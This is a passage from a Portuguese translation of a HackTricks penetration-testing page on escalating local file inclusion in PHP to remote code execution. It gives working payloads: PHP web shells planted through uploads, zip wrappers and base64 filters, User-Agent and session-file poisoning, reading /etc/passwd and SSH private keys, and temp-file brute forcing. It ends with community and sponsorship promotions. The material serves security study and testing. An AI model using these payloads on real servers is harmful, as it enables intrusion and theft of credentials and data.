2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado bruto) e $FD o descritor de arquivo (também pode ser forçado bruto)
|
|
|
|
### Via /proc/self/environ
|
|
|
|
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
|
|
```
|
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
User-Agent: <?=phpinfo(); ?>
|
|
```
|
|
### Via upload
|
|
|
|
Se você pode fazer upload de um arquivo, basta injetar o payload do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
|
|
```
|
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
```
|
|
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
|
|
|
|
### Via upload de arquivo Zip
|
|
|
|
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
|
|
```python
|
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|
```
|
|
### Através de sessões PHP
|
|
|
|
Verifique se o site utiliza Sessão PHP (PHPSESSID)
|
|
```
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
```
|
|
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
|
```
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
```
|
|
Defina o cookie para `<?php system('cat /etc/passwd');?>`
|
|
```
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
```
|
|
Utilize o LFI para incluir o arquivo de sessão PHP
|
|
```
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
|
```
|
|
### Via ssh
|
|
|
|
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id\_rsa**
|
|
|
|
### **Via** **vsftpd** _**logs**_
|
|
|
|
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Inclusão de Arquivo Local (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
|
|
|
|
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
|
|
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
|
|
|
|
### Via php base64 filter (usando base64)
|
|
|
|
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o Non-base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um exemplo de payload:
|
|
```url
|
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
|
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
### Através de filtros php (sem necessidade de arquivo)
|
|
|
|
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para a inclusão **sem precisar escrevê-lo** em um arquivo.
|
|
|
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de falha de segmentação
|
|
|
|
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, acione uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo.
|
|
|
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através do armazenamento de arquivos temporários do Nginx
|
|
|
|
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está sendo executado na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
|
|
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de PHP\_SESSION\_UPLOAD\_PROGRESS
|
|
|
|
Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
|
|
|
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
|
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de uploads de arquivos temporários no Windows
|
|
|
|
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está rodando no **Windows**, você pode obter RCE:
|
|
|
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de phpinfo() (file\_uploads = on)
|
|
|
|
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
|
|
|
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
|
|
|
|
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
|
|
|
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
|
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Através de espera eterna + força bruta
|
|
|
|
Se você puder abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
|
|
|
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Para Erro Fatal
|
|
|
|
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para lançar esse erro).
|
|
|
|
**Eu não sei como isso é útil, mas pode ser.**\
|
|
_Mesmo se você causar um Erro Fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Referências
|
|
|
|
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
|
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
|
|
|
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
|
|
|
**Percepções de Hacking**\
|
|
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|